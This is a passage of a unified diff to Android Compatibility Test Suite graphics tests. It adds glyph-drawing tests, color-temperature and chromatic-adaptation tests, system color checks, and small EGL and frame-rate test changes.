-            long color0 = Color.pack(0, 0, 1, 1, cs);
-            long color1 = Color.pack(1, 0, 0, 0, cs);
-            LinearGradient gradient = new LinearGradient(0, 0, 10, 10, color0, color1,
-                    Shader.TileMode.CLAMP);
-            Paint paint = new Paint();
-            paint.setShader(gradient);
-            canvas.drawPaint(paint);
+            drawGradient(bitmap);
         }
 
         byte[] storage = new byte[16 * 1024];
@@ -2657,6 +2867,7 @@
     private static native void nFillRgbaHwBuffer(HardwareBuffer hwBuffer);
     private static native void nTestNullBitmap(Bitmap bitmap);
 
+    private static final int ANDROID_BITMAP_FORMAT_NONE = 0;
     static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
     private static final int ANDROID_BITMAP_FORMAT_RGB_565 = 4;
     private static final int ANDROID_BITMAP_FORMAT_A_8 = 8;
@@ -2672,6 +2883,15 @@
         }
     }
 
+    private static int configToFormat(Config config) {
+        for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+            if (config == pair.config) {
+                return pair.format;
+            }
+        }
+        return ANDROID_BITMAP_FORMAT_NONE;
+    }
+
     private static final ConfigToFormat[] CONFIG_TO_FORMAT = new ConfigToFormat[] {
         new ConfigToFormat(Bitmap.Config.ARGB_8888, ANDROID_BITMAP_FORMAT_RGBA_8888),
         // ARGB_4444 is deprecated, and createBitmap converts to 8888.
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java
new file mode 100644
index 0000000..5c915f3
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.fonts.Font;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CanvasDrawGlyphsTest {
+    private static final String FONT_PATH = "fonts/draw/draw_glyph_font.ttf";
+    private static final int BMP_WIDTH = 300;
+    private static final int BMP_HEIGHT = 100;
+    private static final float DRAW_ORIGIN_X = 20f;
+    private static final float DRAW_ORIGIN_Y = 70f;
+    private static final float TEXT_SIZE = 50f;  // make 1em = 50px
+    // All glyph in the test font has 1em advance, i.e. TEXT_SIZE.
+    private static final float GLYPH_ADVANCE = TEXT_SIZE;
+    private Font mFont;
+    private Typeface mTypeface;
+
+    @Before
+    public void setup() throws IOException {
+        Context context = InstrumentationRegistry.getTargetContext();
+        mFont = new Font.Builder(context.getAssets(), FONT_PATH).build();
+        mTypeface = Typeface.createFromAsset(context.getAssets(), FONT_PATH);
+    }
+
+    private Bitmap drawGlyphsToBitmap(int[] glyphIds, int glyphIdOffset, float[] positions,
+            int positionStart, int glyphCount, Font font, Paint paint) {
+        Bitmap bmp = Bitmap.createBitmap(BMP_WIDTH, BMP_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bmp);
+        canvas.drawGlyphs(glyphIds, glyphIdOffset, positions, positionStart, glyphCount,
+                font, paint);
+        return bmp;
+    }
+
+    @Test
+    public void drawGlyphs_SameToDrawText() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },  // Corresponding to "abcde" in test font
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap textBmp = Bitmap.createBitmap(300, 100, Bitmap.Config.ARGB_8888);
+        Canvas textCanvas = new Canvas(textBmp);
+        paint.setTypeface(mTypeface);
+        textCanvas.drawText("abcde", 0, 5, DRAW_ORIGIN_X, DRAW_ORIGIN_Y, paint);
+
+        assertThat(glyphBmp.sameAs(textBmp)).isTrue();
+    }
+
+    @Test
+    public void drawGlyphs_glyphOffset() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { -1, -1, 1, 2, 3, 4, 5 },  // Skip first two
+                2,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap glyphBmp2 = drawGlyphsToBitmap(
+                new int[] { -1, -1, -1, 1, 2, 3, 4, 5 },  // Skip first three
+                3,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap expectedBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(glyphBmp.sameAs(glyphBmp2)).isTrue();
+        assertThat(glyphBmp.sameAs(expectedBmp)).isTrue();
+    }
+
+    @Test
+    public void drawGlyphs_positionOffset() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        -1f, -1f,  // Skip first two
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                2,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap glyphBmp2 = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        -1f, -1f, -1f,  // Skip first three
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                3,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap expectedBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(glyphBmp.sameAs(glyphBmp2)).isTrue();
+        assertThat(glyphBmp.sameAs(expectedBmp)).isTrue();
+    }
+
+    @Test
+    public void drawGlyphs_glyphCount() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap firstThreeBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                3,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap firstTwoBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                2,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(firstThreeBmp.sameAs(firstTwoBmp)).isFalse();
+    }
+
+    @Test
+    public void drawGlyphs_positionDifference() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        float dx = 10f;
+        float dy = 1f;
+        Bitmap bmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + dx, DRAW_ORIGIN_Y + dy,
+                        DRAW_ORIGIN_X + dx * 2, DRAW_ORIGIN_Y + dy * 2,
+                        DRAW_ORIGIN_X + dx * 3, DRAW_ORIGIN_Y + dy * 3,
+                        DRAW_ORIGIN_X + dx * 4, DRAW_ORIGIN_Y + dy * 4,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        dx = 5f;
+        dy = 2f;
+        Bitmap differentGlyphPositionBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + dx, DRAW_ORIGIN_Y + dy,
+                        DRAW_ORIGIN_X + dx * 2, DRAW_ORIGIN_Y + dy * 2,
+                        DRAW_ORIGIN_X + dx * 3, DRAW_ORIGIN_Y + dy * 3,
+                        DRAW_ORIGIN_X + dx * 4, DRAW_ORIGIN_Y + dy * 4,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(bmp.sameAs(differentGlyphPositionBmp)).isFalse();
+    }
+
+    @Test
+    public void drawGlyphs_paintEffect() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap bmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        paint.setTextSize(TEXT_SIZE * 2f);
+        Bitmap twiceTextSizeBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(bmp.sameAs(twiceTextSizeBmp)).isFalse();
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullGlyphIds() {
+        drawGlyphsToBitmap(null, 0, new float[] {}, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullPositions() {
+        drawGlyphsToBitmap(new int[] {}, 0, null, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullFont() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, 0, null, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullPaint() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, 0, mFont, null);
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void negativeGlyphOffset() {
+        drawGlyphsToBitmap(new int[] {}, -1, new float[] {}, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void negativePositionOffset() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, -1, 0, mFont, new Paint());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void negativeGlyphCount() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, -1, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void tooShortGlyphIds() {
+        drawGlyphsToBitmap(new int[] {1, 2}, 1, new float[] {}, 0, 2, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void tooShortPositions() {
+        drawGlyphsToBitmap(new int[] { 1 }, 0, new float[] { 0f, 0f }, 1, 1, mFont, new Paint());
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index 92919b9..3d7561c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -26,7 +26,6 @@
 import android.graphics.ColorSpace;
 
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,8 +33,11 @@
 import java.util.Arrays;
 import java.util.function.DoubleUnaryOperator;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class ColorSpaceTest {
     // Column-major RGB->XYZ transform matrix for the sRGB color space
     private static final float[] SRGB_TO_XYZ = {
@@ -790,9 +792,154 @@
                         1 / 1.055, 0.055 / 1.055, 1 / 12.92, 0.04045, 2.4)));
     }
 
+    @Test(expected = IllegalArgumentException.class)
+    @Parameters({"0", "-1", "-50"})
+    public void testInvalidCct(int cct) {
+        ColorSpace.cctToXyz(cct);
+    }
+
+    @Test
+    public void testCctToXyz() {
+        // Verify that range listed as meaningful by the API return float arrays as expected.
+        for (int i = 1667; i <= 25000; i++) {
+            float[] result = ColorSpace.cctToXyz(i);
+            assertNotNull(result);
+            assertEquals(3, result.length);
+        }
+    }
+
+    private static Object[] cctToXyzExpected() {
+        return new Object[] {
+                // ILLUMINANT_A
+                new Object[] { 2856, new float[] { 1.0970824f, 1.0f, 0.3568525f }},
+                // ILLUMINANT_B
+                new Object[] { 4874, new float[] { 0.98355806f, 1.0f, 0.8376475f }},
+                // ILLUMINANT_C
+                new Object[] { 6774, new float[] { 0.9680535f, 1.0f, 1.1603559f }},
+                // ILLUMINANT_D50
+                new Object[] { 5003, new float[] { 0.9811904f, 1.0f, 0.86360276f }},
+                // ILLUMINANT_D55
+                new Object[] { 5503, new float[] { 0.97444946f, 1.0f, 0.9582717f }},
+                // ILLUMINANT_D60
+                new Object[] { 6004, new float[] { 0.9705604f, 1.0f, 1.0441511f }},
+                // ILLUMINANT_D65
+                new Object[] { 6504, new float[] { 0.968573f, 1.0f, 1.1216444f }},
+                // ILLUMINANT_D75
+                new Object[] { 7504, new float[] { 0.9679457f, 1.0f, 1.2551404f }},
+                // ILLUMINANT_E
+                new Object[] { 5454, new float[] { 0.9749648f, 1.0f, 0.9494016f }},
+                // Test a sample of values in the meaningful range according to the API.
+                new Object[] { 1667, new float[] { 1.4014802f, 1.0f, 0.08060435f }},
+                new Object[] { 1668, new float[] { 1.4010513f, 1.0f, 0.08076303f }},
+                new Object[] { 1700, new float[] { 1.3874257f, 1.0f, 0.08596305f }},
+                new Object[] { 1701, new float[] { 1.3870035f, 1.0f, 0.08612958f }},
+                new Object[] { 2020, new float[] { 1.2686056f, 1.0f, 0.14921218f }},
+                new Object[] { 2102, new float[] { 1.2439337f, 1.0f, 0.1678791f }},
+                new Object[] { 2360, new float[] { 1.1796018f, 1.0f, 0.2302558f }},
+                new Object[] { 4688, new float[] { 0.9875373f, 1.0f, 0.79908675f }},
+                new Object[] { 5797, new float[] { 0.97189087f, 1.0f, 1.0097121f }},
+                new Object[] { 7625, new float[] { 0.96806175f, 1.0f, 1.2695707f }},
+                new Object[] { 8222, new float[] { 0.9690009f, 1.0f, 1.3359972f }},
+                new Object[] { 8330, new float[] { 0.9692224f, 1.0f, 1.3472213f }},
+                new Object[] { 9374, new float[] { 0.9718307f, 1.0f, 1.4447508f }},
+                new Object[] { 9604, new float[] { 0.97247595f, 1.0f, 1.4638413f }},
+                new Object[] { 9894, new float[] { 0.9733059f, 1.0f, 1.4868189f }},
+                new Object[] { 10764, new float[] { 0.97584003f, 1.0f, 1.5491791f }},
+                new Object[] { 11735, new float[] { 0.97862047f, 1.0f, 1.6088297f }},
+                new Object[] { 12819, new float[] { 0.98155034f, 1.0f, 1.6653923f }},
+                new Object[] { 13607, new float[] { 0.98353446f, 1.0f, 1.7010691f }},
+                new Object[] { 15185, new float[] { 0.98712224f, 1.0f, 1.7615601f }},
+                new Object[] { 17474, new float[] { 0.9914801f, 1.0f, 1.8297766f }},
+                new Object[] { 18788, new float[] { 0.9935937f, 1.0f, 1.8612393f }},
+                new Object[] { 19119, new float[] { 0.99408686f, 1.0f, 1.8684553f }},
+                new Object[] { 19174, new float[] { 0.99416786f, 1.0f, 1.8696303f }},
+                new Object[] { 19437, new float[] { 0.9945476f, 1.0f, 1.8751476f }},
+                new Object[] { 19533, new float[] { 0.99468416f, 1.0f, 1.8771234f }},
+                new Object[] { 19548, new float[] { 0.99470526f, 1.0f, 1.8774294f }},
+                new Object[] { 19762, new float[] { 0.995005f, 1.0f, 1.8817542f }},
+                new Object[] { 19774, new float[] { 0.9950216f, 1.0f, 1.8819935f }},
+                new Object[] { 20291, new float[] { 0.99572146f, 1.0f, 1.8920314f }},
+                new Object[] { 23018, new float[] { 0.99893945f, 1.0f, 1.9371331f }},
+                new Object[] { 23509, new float[] { 0.999445f, 1.0f, 1.9440757f }},
+                new Object[] { 24761, new float[] { 1.0006485f, 1.0f, 1.9604537f }},
+
+        };
+    }
+
+    @Test
+    @Parameters(method = "cctToXyzExpected")
+    public void testCctToXyzValues(int cct, float[] xyz) {
+        float[] result = ColorSpace.cctToXyz(cct);
+        assertArrayEquals(xyz, result, 1e-3f);
+    }
+
+    private static Object[] chromaticAdaptationNullParameters() {
+        return new Object[] {
+                new Object[] { null, ColorSpace.ILLUMINANT_D50, ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, null, ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, ColorSpace.ILLUMINANT_D60, null },
+        };
+    }
+
+    @Test(expected = NullPointerException.class)
+    @Parameters(method = "chromaticAdaptationNullParameters")
+    public void testChromaticAdaptationNullParameters(ColorSpace.Adaptation adaptation,
+            float[] srcWhitePoint, float[] dstWhitePoint) {
+        ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint, dstWhitePoint);
+    }
+
+    private static Object[] chromaticAdaptationWrongSizedArrays() {
+        return new Object[] {
+                new Object[] { ColorSpace.Adaptation.BRADFORD, new float[] { 1.0f },
+                        ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, ColorSpace.ILLUMINANT_D60,
+                        new float[] { 1.0f, 1.0f, 1.0f, 1.0f }},
+        };
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    @Parameters(method = "chromaticAdaptationWrongSizedArrays")
+    public void testChromaticAdaptationWrongSizedArrays(ColorSpace.Adaptation adaptation,
+            float[] srcWhitePoint, float[] dstWhitePoint) {
+        ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint, dstWhitePoint);
+    }
+
+    private static float[] sIdentityMatrix = new float[] {
+            1.0f, 0.0f, 0.0f,
+            0.0f, 1.0f, 0.0f,
+            0.0f, 0.0f, 1.0f
+    };
+
+    @Test
+    public void testChromaticAdaptation() {
+        for (ColorSpace.Adaptation adaptation : ColorSpace.Adaptation.values()) {
+            float[][] whitePoints = {
+                    ColorSpace.ILLUMINANT_A,
+                    ColorSpace.ILLUMINANT_B,
+                    ColorSpace.ILLUMINANT_C,
+                    ColorSpace.ILLUMINANT_D50,
+                    ColorSpace.ILLUMINANT_D55,
+                    ColorSpace.ILLUMINANT_D60,
+                    ColorSpace.ILLUMINANT_D65,
+                    ColorSpace.ILLUMINANT_D75,
+                    ColorSpace.ILLUMINANT_E,
+            };
+            for (float[] srcWhitePoint : whitePoints) {
+                for (float[] dstWhitePoint : whitePoints) {
+                    float[] result = ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint,
+                            dstWhitePoint);
+                    assertNotNull(result);
+                    assertEquals(9, result.length);
+                    if (Arrays.equals(srcWhitePoint, dstWhitePoint)) {
+                        assertArrayEquals(sIdentityMatrix, result, 0f);
+                    }
+                }
+            }
+        }
+    }
 
     @SuppressWarnings("SameParameterValue")
-    private static void assertArrayNotEquals(float[] a, float[] b, float eps) {
+    private void assertArrayNotEquals(float[] a, float[] b, float eps) {
         for (int i = 0; i < a.length; i++) {
             if (Float.compare(a[i], b[i]) == 0 || Math.abs(a[i] - b[i]) < eps) {
                 fail("Expected " + a[i] + ", received " + b[i]);
@@ -800,7 +947,7 @@
         }
     }
 
-    private static void assertArrayEquals(float[] a, float[] b, float eps) {
+    private void assertArrayEquals(float[] a, float[] b, float eps) {
         for (int i = 0; i < a.length; i++) {
             if (Float.compare(a[i], b[i]) != 0 && Math.abs(a[i] - b[i]) > eps) {
                 fail("Expected " + a[i] + ", received " + b[i]);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..70e0735 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,45 @@
                 { 0xff000000, android.R.color.widget_edittext_dark },
         };
 
+        int systemColors[] = {
+                android.R.color.system_primary_0,
+                android.R.color.system_primary_50,
+                android.R.color.system_primary_100,
+                android.R.color.system_primary_200,
+                android.R.color.system_primary_300,
+                android.R.color.system_primary_400,
+                android.R.color.system_primary_500,
+                android.R.color.system_primary_600,
+                android.R.color.system_primary_700,
+                android.R.color.system_primary_800,
+                android.R.color.system_primary_900,
+                android.R.color.system_primary_1000,
+                android.R.color.system_secondary_0,
+                android.R.color.system_secondary_50,
+                android.R.color.system_secondary_100,
+                android.R.color.system_secondary_200,
+                android.R.color.system_secondary_300,
+                android.R.color.system_secondary_400,
+                android.R.color.system_secondary_500,
+                android.R.color.system_secondary_600,
+                android.R.color.system_secondary_700,
+                android.R.color.system_secondary_800,
+                android.R.color.system_secondary_900,
+                android.R.color.system_secondary_1000,
+                android.R.color.system_neutral_0,
+                android.R.color.system_neutral_50,
+                android.R.color.system_neutral_100,
+                android.R.color.system_neutral_200,
+                android.R.color.system_neutral_300,
+                android.R.color.system_neutral_400,
+                android.R.color.system_neutral_500,
+                android.R.color.system_neutral_600,
+                android.R.color.system_neutral_700,
+                android.R.color.system_neutral_800,
+                android.R.color.system_neutral_900,
+                android.R.color.system_neutral_1000,
+        };
+
         List<Integer> expectedColorStateLists = Arrays.asList(
                 android.R.color.primary_text_dark,
                 android.R.color.primary_text_dark_nodisable,
@@ -124,7 +163,7 @@
         }
 
         // System-API colors are used to allow updateable platform components to use the same colors
-        // as the system. The actualy value of the color does not matter. Hence only enforce that
+        // as the system. The actual value of the color does not matter. Hence only enforce that
         // 'colors' contains all the public colors and ignore System-api colors.
         int numPublicApiColors = 0;
         for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +176,7 @@
         }
 
         assertEquals("Test no longer in sync with colors in android.R.color",
-                colors.length, numPublicApiColors);
+                colors.length + systemColors.length, numPublicApiColors);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java b/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
index cbb485d..5377afb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
+++ b/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
@@ -29,6 +29,7 @@
 import android.opengl.EGLSurface;
 import android.opengl.EGLSync;
 import android.opengl.GLES20;
+import android.os.SystemProperties;
 
 import androidx.test.filters.SmallTest;
 
@@ -331,6 +332,12 @@
             return;
         }
 
+        // Required functionality for devices released with Android R (11),
+        // skip if launched with older version of Android.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) < 30) {
+            return;
+        }
+
         mEglContext = EGL14.eglCreateContext(mEglDisplay, mEglConfig, EGL14.EGL_NO_CONTEXT,
                 new int[] { EGL15.EGL_CONTEXT_OPENGL_DEBUG, EGL14.EGL_FALSE, EGL14.EGL_NONE }, 0);
         if (mEglContext == EGL15.EGL_NO_CONTEXT) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index dee467e..30be8ef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -18,6 +18,7 @@
 
 import static android.system.OsConstants.EINVAL;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
@@ -36,8 +37,14 @@
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 
+import com.google.common.primitives.Floats;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
+import java.util.List;
 
 /**
  * An Activity to help with frame rate testing.
@@ -54,6 +61,7 @@
     private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
     private static final long PRECONDITION_WAIT_TIMEOUT_SECONDS = 20;
     private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_SECONDS = 3;
+    private static final float FRAME_RATE_TOLERANCE = 0.01f;
 
     private DisplayManager mDisplayManager;
     private SurfaceView mSurfaceView;
@@ -61,7 +69,7 @@
     private Object mLock = new Object();
     private Surface mSurface = null;
     private float mDeviceFrameRate;
-    private ArrayList<Float> mFrameRateChangedEvents = new ArrayList<Float>();
